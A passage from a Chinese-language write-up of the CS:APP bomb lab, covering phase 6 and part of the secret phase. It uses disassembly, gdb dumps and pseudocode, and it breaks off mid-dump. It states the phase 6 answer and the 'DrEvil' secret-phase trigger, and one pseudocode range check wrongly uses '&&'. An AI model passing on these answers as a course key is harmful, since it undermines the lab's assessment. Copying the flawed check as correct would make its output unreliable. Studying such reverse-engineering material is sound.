  401140: e8 f5 02 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  401145: 83 c3 01              add    $0x1,%ebx
  401148: 83 fb 05              cmp    $0x5,%ebx
  40114b: 7e e8                 jle    401135 &amp;lt;phase_6+0x41&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从上可以看出，内循环就是，通过displacement寻址，把第j个元素给放入&lt;code&gt;%eax&lt;/code&gt;，然后与&lt;code&gt;%rbp&lt;/code&gt;即第i个数字进行比较。如果相等就会爆炸。如果j超过5的话，就会跳出跳出内循环。&lt;/p&gt;
&lt;p&gt;最后外循环进行自增和跳转&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  40114d: 49 83 c5 04           add    $0x4,%r13 # rbp + 4
  401151: eb c1                 jmp    401114 &amp;lt;phase_6+0x20&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;整理一下，验证的条件有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;所有数字必须大于0（**使用了&lt;code&gt;jbe&lt;/code&gt;**进行比较）且小于等于6&lt;/li&gt;
&lt;li&gt;每个数字之间不能相等&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;大致的伪代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int n[6] = {...};
for (int i = 0; i &amp;lt; 6; i++) {
  if (n[i] &amp;gt; 6 &amp;amp;&amp;amp; n[i] &amp;lt;= 0) {
    boom();
  }
  for (int j = i + 1; j &amp;lt; 6; j++) {
    if (n[j] == n[i]) {
      boom();
    }
  }
}
// pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这还是第一步...我们继续看看第二步，依旧是个循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  401153: 48 8d 74 24 18        lea    0x18(%rsp),%rsi
  401158: 4c 89 f0              mov    %r14,%rax
  40115b: b9 07 00 00 00        mov    $0x7,%ecx
  401160: 89 ca                 mov    %ecx,%edx
  401162: 2b 10                 sub    (%rax),%edx
  401164: 89 10                 mov    %edx,(%rax)
  401166: 48 83 c0 04           add    $0x4,%rax
  40116a: 48 39 f0              cmp    %rsi,%rax
  40116d: 75 f1                 jne    401160 &amp;lt;phase_6+0x6c&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先是把&lt;code&gt;0x18(%rsp)&lt;/code&gt;到&lt;code&gt;%rsi&lt;/code&gt;上（用于在&lt;code&gt;40116a&lt;/code&gt;处做比较判断循环是否终止），把栈顶指针复制一份给&lt;code&gt;%r14&lt;/code&gt;，接着把直接数7给了&lt;code&gt;%ecx&lt;/code&gt;，再临时把7存到&lt;code&gt;%edx&lt;/code&gt;做后续计算&lt;/p&gt;
&lt;p&gt;开始了：把&lt;code&gt;%edx&lt;/code&gt;的数7给减去&lt;code&gt;(%rax)&lt;/code&gt;，再把&lt;code&gt;%edx&lt;/code&gt;复制到&lt;code&gt;(%rax)&lt;/code&gt;，实现了&lt;code&gt;x =&amp;gt; 7 - x&lt;/code&gt;的映射。&lt;/p&gt;
&lt;p&gt;如果我们输入&lt;code&gt;1 2 3 4 5 6&lt;/code&gt;，那么程序就会处理为&lt;code&gt;6 5 4 3 2 1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;用JS来表示就相当于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const arr = [1, 2, 3, 4, 5, 6].map(x =&amp;gt; 7 - x); // [6, 5, 4, 3, 2, 1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好，很有精神，那么我们加大力度！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  40116f: be 00 00 00 00        mov    $0x0,%esi
  401174: eb 21                 jmp    401197 &amp;lt;phase_6+0xa3&amp;gt;
  401176: 48 8b 52 08           mov    0x8(%rdx),%rdx
  40117a: 83 c0 01              add    $0x1,%eax
  40117d: 39 c8                 cmp    %ecx,%eax
  40117f: 75 f5                 jne    401176 &amp;lt;phase_6+0x82&amp;gt;
  401181: eb 05                 jmp    401188 &amp;lt;phase_6+0x94&amp;gt;
  401183: ba d0 32 60 00        mov    $0x6032d0,%edx
  401188: 48 89 54 74 20        mov    %rdx,0x20(%rsp,%rsi,2)
  40118d: 48 83 c6 04           add    $0x4,%rsi
  401191: 48 83 fe 18           cmp    $0x18,%rsi
  401195: 74 14                 je     4011ab &amp;lt;phase_6+0xb7&amp;gt;
  401197: 8b 0c 34              mov    (%rsp,%rsi,1),%ecx
  40119a: 83 f9 01              cmp    $0x1,%ecx
  40119d: 7e e4                 jle    401183 &amp;lt;phase_6+0x8f&amp;gt;
  40119f: b8 01 00 00 00        mov    $0x1,%eax
  4011a4: ba d0 32 60 00        mov    $0x6032d0,%edx
  4011a9: eb cb                 jmp    401176 &amp;lt;phase_6+0x82&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面这几行汇编，大概做了这些事情，我先写点伪代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. %esi = i = 0;
2. get i-th number from stack
3. if i &amp;lt;= 1, then *(0x20 + %rsp + 2 * i) = %edx = 0x6032d0
   else if i &amp;gt; 1 AND i &amp;lt;= 6, let j = 1, %edx = 0x6032d0, then
      1. while j &amp;lt; (i-th number from stack)
          1. %edx = *(%edx + 8) // %edx = node-&amp;gt;next
          2. j++
      2. *(0x20 + %rsp + 2 * i) = %edx
4. i = i + 4
5. if i != 24, goto step 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过汇编又可以看出，这里将一个地址送进去了&lt;code&gt;%edx&lt;/code&gt;，这symbol，看起来就是一个链表节点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/24x 0x6032d0
0x6032d0 &amp;lt;node1&amp;gt;:       0x0000014c      0x00000001      0x006032e0      0x00000000
0x6032e0 &amp;lt;node2&amp;gt;:       0x000000a8      0x00000002      0x006032f0      0x00000000
0x6032f0 &amp;lt;node3&amp;gt;:       0x0000039c      0x00000003      0x00603300      0x00000000
0x603300 &amp;lt;node4&amp;gt;:       0x000002b3      0x00000004      0x00603310      0x00000000
0x603310 &amp;lt;node5&amp;gt;:       0x000001dd      0x00000005      0x00603320      0x00000000
0x603320 &amp;lt;node6&amp;gt;:       0x000001bb      0x00000006      0x00000000      0x00000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据伪代码，把偏移了8之后的地址给解引用后的值是一个地址，猜测是&lt;code&gt;node-&amp;gt;next&lt;/code&gt;。那么综上所述，这一步是依次读取第i个数字n，将第n个节点的地址复制到栈上&lt;/p&gt;
&lt;p&gt;打个断点验证一下，如果我们输入&lt;code&gt;1 2 3 4 5 6&lt;/code&gt;，那么栈里头的地址就依次是第&lt;code&gt;6 5 4 3 2 1&lt;/code&gt;个节点的地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/24x ($rsp+0x20)
0x7fffffffe340: 0x00603320      0x00000000      0x00603310      0x00000000
0x7fffffffe350: 0x00603300      0x00000000      0x006032f0      0x00000000
0x7fffffffe360: 0x006032e0      0x00000000      0x006032d0      0x00000000
0x7fffffffe370: 0xffffe498      0x00007fff      0x00000000      0x00000000
0x7fffffffe380: 0x00400c90      0x00000000      0xffffe490      0x00007fff
0x7fffffffe390: 0x00000000      0x00000000      0x00400ecb      0x00000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;YES，验证完毕，的确如此。且注意，每一个地址都占了4字节，后面还填充了4字节的0&lt;/p&gt;
&lt;p&gt;接着，我们进入了新的汇编代码中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  4011ab: 48 8b 5c 24 20        mov    0x20(%rsp),%rbx
  4011b0: 48 8d 44 24 28        lea    0x28(%rsp),%rax
  4011b5: 48 8d 74 24 50        lea    0x50(%rsp),%rsi
  4011ba: 48 89 d9              mov    %rbx,%rcx
  4011bd: 48 8b 10              mov    (%rax),%rdx
  4011c0: 48 89 51 08           mov    %rdx,0x8(%rcx)
  4011c4: 48 83 c0 08           add    $0x8,%rax
  4011c8: 48 39 f0              cmp    %rsi,%rax
  4011cb: 74 05                 je     4011d2 &amp;lt;phase_6+0xde&amp;gt;
  4011cd: 48 89 d1              mov    %rdx,%rcx
  4011d0: eb eb                 jmp    4011bd &amp;lt;phase_6+0xc9&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开始分析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  4011ab: 48 8b 5c 24 20        mov    0x20(%rsp),%rbx
  4011b0: 48 8d 44 24 28        lea    0x28(%rsp),%rax
  4011b5: 48 8d 74 24 50        lea    0x50(%rsp),%rsi
  4011ba: 48 89 d9              mov    %rbx,%rcx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面这一段是为循环做初始化：&lt;code&gt;%rsi&lt;/code&gt;为结束时候的地址，&lt;code&gt;%rbx&lt;/code&gt;为&lt;code&gt;0x20(%rsp)&lt;/code&gt;上的值，然而&lt;code&gt;%rax&lt;/code&gt;存放的是&lt;code&gt;0x28(%rsp)&lt;/code&gt;的地址！&lt;/p&gt;
&lt;p&gt;如果来个类型的话，那就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Node* %rbx;
Node** %rax;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;循环开始，看看第一次循环都做了什么。&lt;/p&gt;
&lt;p&gt;注意：为了避免产生晕针现象，我们把所有的记号变为类型&lt;code&gt;Node*&lt;/code&gt;，即节点所在的起始地址&lt;/p&gt;
&lt;p&gt;记号为：在&lt;strong&gt;这个部分&lt;/strong&gt;，栈上第一个节点是&lt;code&gt;%rbx&lt;/code&gt;即&lt;code&gt;node1&lt;/code&gt;,第二个节点是&lt;code&gt;(%rax)&lt;/code&gt;即&lt;code&gt;node2&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  4011bd: 48 8b 10              mov    (%rax),%rdx
  4011c0: 48 89 51 08           mov    %rdx,0x8(%rcx)
  4011c4: 48 83 c0 08           add    $0x8,%rax
  4011c8: 48 39 f0              cmp    %rsi,%rax
  4011cb: 74 05                 je     4011d2 &amp;lt;phase_6+0xde&amp;gt;
  4011cd: 48 89 d1              mov    %rdx,%rcx
  4011d0: eb eb                 jmp    4011bd &amp;lt;phase_6+0xc9&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一次循环做了这些事情：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将&lt;code&gt;node2&lt;/code&gt;给了&lt;code&gt;%rdx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;将&lt;code&gt;%rdx&lt;/code&gt;拷给&lt;code&gt;0x8(%rcx)&lt;/code&gt;即&lt;code&gt;node1-&amp;gt;next = node2&lt;/code&gt;（注意括号在&lt;code&gt;mov&lt;/code&gt;指令下，有解引用的意思）&lt;/li&gt;
&lt;li&gt;检查循环条件&lt;code&gt;%rsi == %rax&lt;/code&gt;,是则跳出循环&lt;/li&gt;
&lt;li&gt;否则继续，把&lt;code&gt;node2&lt;/code&gt;赋给&lt;code&gt;%rcx&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;推广一下&lt;/p&gt;
&lt;p&gt;第n次循环做了这些事情：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将&lt;code&gt;node(n+1)&lt;/code&gt;给了&lt;code&gt;%rdx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;将&lt;code&gt;%rdx&lt;/code&gt;拷给&lt;code&gt;0x8(%rcx)&lt;/code&gt;即&lt;code&gt;node(n)-&amp;gt;next = node(n+1)&lt;/code&gt;（注意括号在&lt;code&gt;mov&lt;/code&gt;指令下，有解引用的意思）&lt;/li&gt;
&lt;li&gt;检查循环条件&lt;code&gt;%rsi == %rax&lt;/code&gt;,是则跳出循环&lt;/li&gt;
&lt;li&gt;否则继续，把&lt;code&gt;node(n+1)&lt;/code&gt;赋给&lt;code&gt;%rcx&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;继续顺推一下，就会发现，这是很明显的&lt;strong&gt;节点重连&lt;/strong&gt;了&lt;/p&gt;
&lt;p&gt;好耶，继续前进，我们注意到了这个细节&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4011d2: 48 c7 42 08 00 00 00  movq   $0x0,0x8(%rdx)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是给最后一个节点的&lt;code&gt;node-&amp;gt;next&lt;/code&gt;赋上了&lt;code&gt;NULL&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;啊啊啊，终于到最后一步了！！！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  4011da: bd 05 00 00 00        mov    $0x5,%ebp
  4011df: 48 8b 43 08           mov    0x8(%rbx),%rax
  4011e3: 8b 00                 mov    (%rax),%eax
  4011e5: 39 03                 cmp    %eax,(%rbx)
  4011e7: 7d 05                 jge    4011ee &amp;lt;phase_6+0xfa&amp;gt;
  4011e9: e8 4c 02 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  4011ee: 48 8b 5b 08           mov    0x8(%rbx),%rbx
  4011f2: 83 ed 01              sub    $0x1,%ebp
  4011f5: 75 e8                 jne    4011df &amp;lt;phase_6+0xeb&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;依旧是一个循环，初始化：&lt;code&gt;%ebp = 5&lt;/code&gt;，然后用到了上文的&lt;code&gt;%rbx = *(0x20(%rsp))&lt;/code&gt;即首个节点。&lt;/p&gt;
&lt;p&gt;先是使&lt;code&gt;%rax&lt;/code&gt;为&lt;code&gt;node1-&amp;gt;next&lt;/code&gt;，接着访问得到&lt;code&gt;node1-&amp;gt;next-&amp;gt;val&lt;/code&gt;获得node2的值，最后对比&lt;code&gt;node2-&amp;gt;val&lt;/code&gt;与&lt;code&gt;node1-&amp;gt;val&lt;/code&gt;的值，如果1的值大于等于2的就继续，否则爆炸&lt;/p&gt;
&lt;p&gt;接着把&lt;code&gt;node1-&amp;gt;next&lt;/code&gt;赋值给&lt;code&gt;%rbx&lt;/code&gt;，&lt;code&gt;%ebp&lt;/code&gt;自减1，继续循环，当&lt;code&gt;%ebp == 0&lt;/code&gt;时，就结束循环。&lt;/p&gt;
&lt;p&gt;捋一捋这个过程，其实就是相邻两个节点之间的值对比罢了。&lt;strong&gt;要求是&lt;/strong&gt;前面的节点必须大于后面的节点&lt;/p&gt;
&lt;p&gt;我们把节点们的值都打印出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/24d 0x6032d0
0x6032d0 &amp;lt;node1&amp;gt;:       332     1       6304480 0
0x6032e0 &amp;lt;node2&amp;gt;:       168     2       6304496 0
0x6032f0 &amp;lt;node3&amp;gt;:       924     3       6304512 0
0x603300 &amp;lt;node4&amp;gt;:       691     4       6304528 0
0x603310 &amp;lt;node5&amp;gt;:       477     5       6304544 0
0x603320 &amp;lt;node6&amp;gt;:       443     6       0       0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很容易看出，进入栈中等候重连的节点顺序应该为&lt;code&gt;3 4 5 6 1 2&lt;/code&gt;，但是注意到前面有一个&lt;code&gt;x =&amp;gt; 7 - x&lt;/code&gt;的映射，我们要构造的答案就要是&lt;code&gt;4 3 2 1 6 5&lt;/code&gt;了！&lt;/p&gt;
&lt;p&gt;芜湖，完美解决&lt;/p&gt;
&lt;p&gt;&lt;s&gt;吐槽时间到&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;好家伙，涉及的步骤是真的多——有六个数字的输入，对这些数字进行映射，链表与结构体，有关链表部分涉及到读取节点的值，甚至还有节点重连&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;完结撒花(并没有)&lt;/h2&gt;
&lt;p&gt;至此，炸弹&lt;s&gt;好像&lt;/s&gt;被我干掉了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;situ@ubuntu:~/Desktop/solutions-csapp/labs/bomb$ ./bomb answer.txt 
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That&apos;s number 2.  Keep going!
Halfway there!
So you got that one.  Try this one.
Good work!  On to the next...
Congratulations! You&apos;ve defused the bomb!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Secret Phase&lt;/h2&gt;
&lt;p&gt;但是你以为就这样结束了？还没有呢！作者特地为我们留下了一个&lt;code&gt;secret_phase&lt;/code&gt;，你看看&lt;code&gt;bomb.c&lt;/code&gt;里头这神奇的注释&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Wow, they got it!  But isn&apos;t something... missing?  Perhaps
 * something they overlooked?  Mua ha ha ha ha! */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;s&gt;你以为拆掉炸弹了，但炸弹没被全拆&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;那么我得好好观察一下，这个秘密阶段是如何进入的，最简单的方法就是直接搜索&lt;code&gt;&amp;lt;secret_phase&amp;gt;&lt;/code&gt;，可以直接找到这函数在哪里被调用。&lt;/p&gt;
&lt;p&gt;一番查找之后，发现竟然是在函数&lt;code&gt;phase_defused&lt;/code&gt;里头，藏得可真巧妙&lt;/p&gt;
&lt;p&gt;国际惯例，先把这个函数晒出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000004015c4 &amp;lt;phase_defused&amp;gt;:
  4015c4: 48 83 ec 78           sub    $0x78,%rsp
  4015c8: 64 48 8b 04 25 28 00  mov    %fs:0x28,%rax
  4015cf: 00 00 
  4015d1: 48 89 44 24 68        mov    %rax,0x68(%rsp)
  4015d6: 31 c0                 xor    %eax,%eax
  4015d8: 83 3d 81 21 20 00 06  cmpl   $0x6,0x202181(%rip)        # 603760 &amp;lt;num_input_strings&amp;gt;
  4015df: 75 5e                 jne    40163f &amp;lt;phase_defused+0x7b&amp;gt;
  4015e1: 4c 8d 44 24 10        lea    0x10(%rsp),%r8
  4015e6: 48 8d 4c 24 0c        lea    0xc(%rsp),%rcx
  4015eb: 48 8d 54 24 08        lea    0x8(%rsp),%rdx
  4015f0: be 19 26 40 00        mov    $0x402619,%esi
  4015f5: bf 70 38 60 00        mov    $0x603870,%edi
  4015fa: e8 f1 f5 ff ff        callq  400bf0 &amp;lt;__isoc99_sscanf@plt&amp;gt;
  4015ff: 83 f8 03              cmp    $0x3,%eax
  401602: 75 31                 jne    401635 &amp;lt;phase_defused+0x71&amp;gt;
  401604: be 22 26 40 00        mov    $0x402622,%esi
  401609: 48 8d 7c 24 10        lea    0x10(%rsp),%rdi
  40160e: e8 25 fd ff ff        callq  401338 &amp;lt;strings_not_equal&amp;gt;
  401613: 85 c0                 test   %eax,%eax
  401615: 75 1e                 jne    401635 &amp;lt;phase_defused+0x71&amp;gt;
  401617: bf f8 24 40 00        mov    $0x4024f8,%edi
  40161c: e8 ef f4 ff ff        callq  400b10 &amp;lt;puts@plt&amp;gt;
  401621: bf 20 25 40 00        mov    $0x402520,%edi
  401626: e8 e5 f4 ff ff        callq  400b10 &amp;lt;puts@plt&amp;gt;
  40162b: b8 00 00 00 00        mov    $0x0,%eax
  401630: e8 0d fc ff ff        callq  401242 &amp;lt;secret_phase&amp;gt;
  401635: bf 58 25 40 00        mov    $0x402558,%edi
  40163a: e8 d1 f4 ff ff        callq  400b10 &amp;lt;puts@plt&amp;gt;
  40163f: 48 8b 44 24 68        mov    0x68(%rsp),%rax
  401644: 64 48 33 04 25 28 00  xor    %fs:0x28,%rax
  40164b: 00 00 
  40164d: 74 05                 je     401654 &amp;lt;phase_defused+0x90&amp;gt;
  40164f: e8 dc f4 ff ff        callq  400b30 &amp;lt;__stack_chk_fail@plt&amp;gt;
  401654: 48 83 c4 78           add    $0x78,%rsp
  401658: c3                    retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从上面这段汇编中，我们可以看出这么几点：首先会检查你输入了多少次字符串，如果是6个的话，他就会执行&lt;code&gt;4015e1&lt;/code&gt;开始的语句&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  4015e1: 4c 8d 44 24 10        lea    0x10(%rsp),%r8
  4015e6: 48 8d 4c 24 0c        lea    0xc(%rsp),%rcx
  4015eb: 48 8d 54 24 08        lea    0x8(%rsp),%rdx
  4015f0: be 19 26 40 00        mov    $0x402619,%esi
  4015f5: bf 70 38 60 00        mov    $0x603870,%edi
  4015fa: e8 f1 f5 ff ff        callq  400bf0 &amp;lt;__isoc99_sscanf@plt&amp;gt;
  4015ff: 83 f8 03              cmp    $0x3,%eax
  401602: 75 31                 jne    401635 &amp;lt;phase_defused+0x71&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们先解析一下一些地址吧，&lt;code&gt;0x402619&lt;/code&gt;里头存着字符串&lt;code&gt;%d %d %s&lt;/code&gt;，&lt;code&gt;0x603870&lt;/code&gt;是sscanf的第一个参数&lt;code&gt;buffer&lt;/code&gt;，在没有运行的时候，很正常地为&lt;code&gt;0x0&lt;/code&gt;，也就是说我们要在运行时打断点进行观察。&lt;/p&gt;
&lt;p&gt;上面这段汇编表示，我要从&lt;code&gt;buffer&lt;/code&gt;中读出两个数字和一个字符串，如果没有读够三个的话就会跳过秘密阶段相关的语句。&lt;/p&gt;
&lt;p&gt;于是在&lt;code&gt;4015fa&lt;/code&gt;处打断点，并观察&lt;code&gt;buffer&lt;/code&gt;上到底有什么东西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/s 0x603870
0x603870 &amp;lt;input_strings+240&amp;gt;:   &quot;7 0&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好家伙，这不就是phase4的输入吗！所以我们要把一个额外的字符串追加到这个phase的后面。&lt;/p&gt;
&lt;p&gt;那究竟是什么呢？我们继续往下看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  401604: be 22 26 40 00        mov    $0x402622,%esi
  401609: 48 8d 7c 24 10        lea    0x10(%rsp),%rdi
  40160e: e8 25 fd ff ff        callq  401338 &amp;lt;strings_not_equal&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;诶，这个函数是老朋友了，也就是说我们的输入要与位于&lt;code&gt;0x402622&lt;/code&gt;上的字符串进行比较，经过gdb的一番操作，可以看出我们要追加的字符串为&lt;code&gt;DrEvil&lt;/code&gt;（&lt;s&gt;果然很邪恶&lt;/s&gt;）&lt;/p&gt;
&lt;p&gt;此时我们就进入了秘密阶段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Curses, you&apos;ve found the secret phase!
But finding it and solving it are quite different...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好，很有精神，我们开始分析&lt;code&gt;secret_phase&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000401242 &amp;lt;secret_phase&amp;gt;:
  401242: 53                    push   %rbx
  401243: e8 56 02 00 00        callq  40149e &amp;lt;read_line&amp;gt;
  401248: ba 0a 00 00 00        mov    $0xa,%edx
  40124d: be 00 00 00 00        mov    $0x0,%esi
  401252: 48 89 c7              mov    %rax,%rdi
  401255: e8 76 f9 ff ff        callq  400bd0 &amp;lt;strtol@plt&amp;gt;
  40125a: 48 89 c3              mov    %rax,%rbx
  40125d: 8d 40 ff              lea    -0x1(%rax),%eax
  401260: 3d e8 03 00 00        cmp    $0x3e8,%eax
  401265: 76 05                 jbe    40126c &amp;lt;secret_phase+0x2a&amp;gt;
  401267: e8 ce 01 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  40126c: 89 de                 mov    %ebx,%esi
  40126e: bf f0 30 60 00        mov    $0x6030f0,%edi
  401273: e8 8c ff ff ff        callq  401204 &amp;lt;fun7&amp;gt;
  401278: 83 f8 02              cmp    $0x2,%eax
  40127b: 74 05                 je     401282 &amp;lt;secret_phase+0x40&amp;gt;
  40127d: e8 b8 01 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  401282: bf 38 24 40 00        mov    $0x402438,%edi
  401287: e8 84 f8 ff ff        callq  400b10 &amp;lt;puts@plt&amp;gt;
  40128c: e8 33 03 00 00        callq  4015c4 &amp;lt;phase_defused&amp;gt;
  401291: 5b                    pop    %rbx
  401292: c3                    retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出多了一个函数叫做&lt;code&gt;strtol&lt;/code&gt;，一查API结果如下，其实就是一个将字符串&lt;code&gt;str&lt;/code&gt;转化为基数为&lt;code&gt;base&lt;/code&gt;的长整形数而已&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;long      strtol( const char          *str, char          **str_end, int base );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大致流程是读字符串，然后转化为十进制整数，处理并比较一下整数，即这个整数不能大于&lt;code&gt;1001&lt;/code&gt;。如果满足条件就传入你的整数和一个地址&lt;code&gt;0x6030f0&lt;/code&gt;并调用&lt;code&gt;fun7&lt;/code&gt;，并比较&lt;code&gt;fun7&lt;/code&gt;返回值，如果返回值不等于2就爆炸，否则就成功defuse&lt;/p&gt;
&lt;p&gt;接着自然而然，我们就要解析一下&lt;code&gt;fun7&lt;/code&gt;了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000401204 &amp;lt;fun7&amp;gt;:
  401204: 48 83 ec 08           sub    $0x8,%rsp
  401208: 48 85 ff              test   %rdi,%rdi
  40120b: 74 2b                 je     401238 &amp;lt;fun7+0x34&amp;gt;
  40120d: 8b 17                 mov    (%rdi),%edx
  40120f: 39 f2                 cmp    %esi,%edx
  401211: 7e 0d                 jle    401220 &amp;lt;fun7+0x1c&amp;gt;
  401213: 48 8b 7f 08           mov    0x8(%rdi),%rdi
  401217: e8 e8 ff ff ff        callq  401204 &amp;lt;fun7&amp;gt;
  40121c: 01 c0                 add    %eax,%eax
  40121e: eb 1d                 jmp    40123d &amp;lt;fun7+0x39&amp;gt;
  401220: b8 00 00 00 00        mov    $0x0,%eax
  401225: 39 f2                 cmp    %esi,%edx
  401227: 74 14                 je     40123d &amp;lt;fun7+0x39&amp;gt;
  401229: 48 8b 7f 10           mov    0x10(%rdi),%rdi
  40122d: e8 d2 ff ff ff        callq  401204 &amp;lt;fun7&amp;gt;
  401232: 8d 44 00 01           lea    0x1(%rax,%rax,1),%eax
  401236: eb 05                 jmp    40123d &amp;lt;fun7+0x39&amp;gt;
  401238: b8 ff ff ff ff        mov    $0xffffffff,%eax
  40123d: 48 83 c4 08           add    $0x8,%rsp
  401241: c3                    retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;又出现了递归...还是写伪代码吧&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int fun7(void* p, long n) {
  if (p == NULL) return -1;
  if (*p &amp;lt;= n) {
    if (*p == n) return 0;
    else {
      int t = fun7(*(p + 16), n);
      return 2 * t + 1;
    }
  } else {
    int t = fun7(*(p + 8), n);
    return 2 * t;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;0x6030f0&lt;/code&gt;里头到底有啥呢？又因为出现了解引用后传值递归调用的操作，那我想，会不会是目标地址存着的还是个地址呢？那我们直接查一下看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/16x 0x6030f0
0x6030f0 &amp;lt;n1&amp;gt;:  0x00000024      0x00000000      0x00603110      0x00000000
0x603100 &amp;lt;n1+16&amp;gt;:       0x00603130      0x00000000      0x00000000      0x00000000
0x603110 &amp;lt;n21&amp;gt;: 0x00000008      0x00000000      0x00603190      0x00000000
0x603120 &amp;lt;n21+16&amp;gt;:      0x00603150      0x00000000      0x00000000      0x00000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;诶，这个symbol，这个规律。不就是一个二叉树节点吗！&lt;code&gt;*(p + 8)&lt;/code&gt;是左儿子的地址，&lt;code&gt;*(p + 16)&lt;/code&gt;是右儿子的地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct {
  int val;
  Node* left;
  Node* right;
} Node;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那这个函数就是在遍历这个二叉树了，如果某个节点的值等于传入的数字&lt;code&gt;n&lt;/code&gt;，递归就终止，返回0。&lt;/p&gt;
&lt;p&gt;在返回的过程中，如果是&lt;strong&gt;从右节点返回&lt;/strong&gt;就是返回&lt;code&gt;2 * t + 1&lt;/code&gt;，&lt;strong&gt;从左节点返回&lt;/strong&gt;的话就是返回&lt;code&gt;2 * t&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在结合上面的分析，得出&lt;code&gt;fun7()&lt;/code&gt;要等于2，才会defuse这个炸弹。所以要使得返回值不为0的话，递归返回的过程中就要有至少一步是从右节点返回的&lt;/p&gt;
&lt;p&gt;那我们把所有节点打印出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/120x 0x6030f0
0x6030f0 &amp;lt;n1&amp;gt;:  0x00000024      0x00000000      0x00603110      0x00000000
0x603100 &amp;lt;n1+16&amp;gt;:       0x00603130      0x00000000      0x00000000      0x00000000
0x603110 &amp;lt;n21&amp;gt;: 0x00000008      0x00000000      0x00603190      0x00000000
0x603120 &amp;lt;n21+16&amp;gt;:      0x00603150      0x00000000      0x00000000      0x00000000
0x603130 &amp;lt;n22&amp;gt;: 0x00000032      0x00000000      0x00603170      0x00000000
0x603140 &amp;lt;n22+16&amp;gt;:      0x006031b0      0x00000000      0x00000000      0x00000000
0x603150 &amp;lt;n32&amp;gt;: 0x00000016      0x00000000      0x00603270      0x00000000
0x603160 &amp;lt;n32+16&amp;gt;:      0x00603230      0x00000000      0x00000000      0x00000000
0x603170 &amp;lt;n33&amp;gt;: 0x0000002d      0x00000000      0x006031d0      0x00000000
